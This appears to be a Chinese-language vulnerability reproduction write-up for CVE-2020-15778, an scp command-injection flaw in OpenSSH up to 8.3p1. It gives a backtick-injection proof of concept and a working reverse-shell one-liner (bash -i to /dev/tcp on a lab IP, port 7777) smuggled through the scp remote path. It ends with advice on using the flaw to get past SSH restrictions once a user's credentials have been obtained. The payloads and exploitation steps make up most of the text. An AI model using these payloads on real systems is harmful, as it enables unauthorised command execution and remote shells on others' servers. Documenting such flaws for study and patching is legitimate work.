一、关于SCP:
scp是用于在计算机之间复制文件的程序。它使用SSH协议。在大多数Linux和Unix发行版中默认都包含它。
漏洞标题:OpenSSH 8.3p1中的scp允许进行eval注入
发现人:Chinmay Pandya
产品:Openssh
受影响的组件:SCP
漏洞版本:<= openssh-8.3p1
CVE编号:CVE-2020-15778
根据漏洞发现者的github,指出漏洞出现在此处989行代码,可进行命令注入
二、漏洞复现:
测试环境:centos7,ssh版本如下:
1、scp基础用法:
scp test.txt test@192.168.136.133:/tmp/test2.txt
命令解析:将test.txt文件上传到192.168.136.133的/tmp 目录下的 test2.txt
但是前提是要知道ssh的密码
2、poc payload:
scp /sourcefile remoteserver:'`touch /tmp/exploit.sh`/targetfile'
在向远程主机拷贝文件时,文件的路径会追加到本地scp命令后,当执行本地scp命令时,scp不会检查、过滤和清除文件名。这使得攻击者执行带有反引号的有效scp命令时,本地shell还将执行反引号中的命令
SCP支持带有“ -r”选项的目录传输。由于linux允许在文件名中使用反引号(`)。攻击者可以在文件名中创建有效负载,并且当受害者将完整文件夹应对到远程服务器时,该文件名中的有效负载将执行。
利用实例:
scp test.txt test@192.168.136.133:'`touch /tmp/exploit.sh`/tmp/test1.txt'
``是执行的命令
exploit.sh成功被创建:
3、直接反弹shell:
scp test.txt test@192.168.136.133:'`bash -i >& /dev/tcp/192.168.136.129/7777 0>&1`/tmp/test3.txt'
反弹shell成功:
三、实际环境中的利用方案以及场景:
对于用户来说,ssh被阻止,但authorized_keys文件中的命令选项允许使用scp的情况。您可以绕过此限制并在远程服务器上执行命令。也就是说,实际中通过各种手段获取到了ssh的用户密码,但是不允许ssh连接,或者ip等各种限制,可以尝试此漏洞进行利用
参考链接: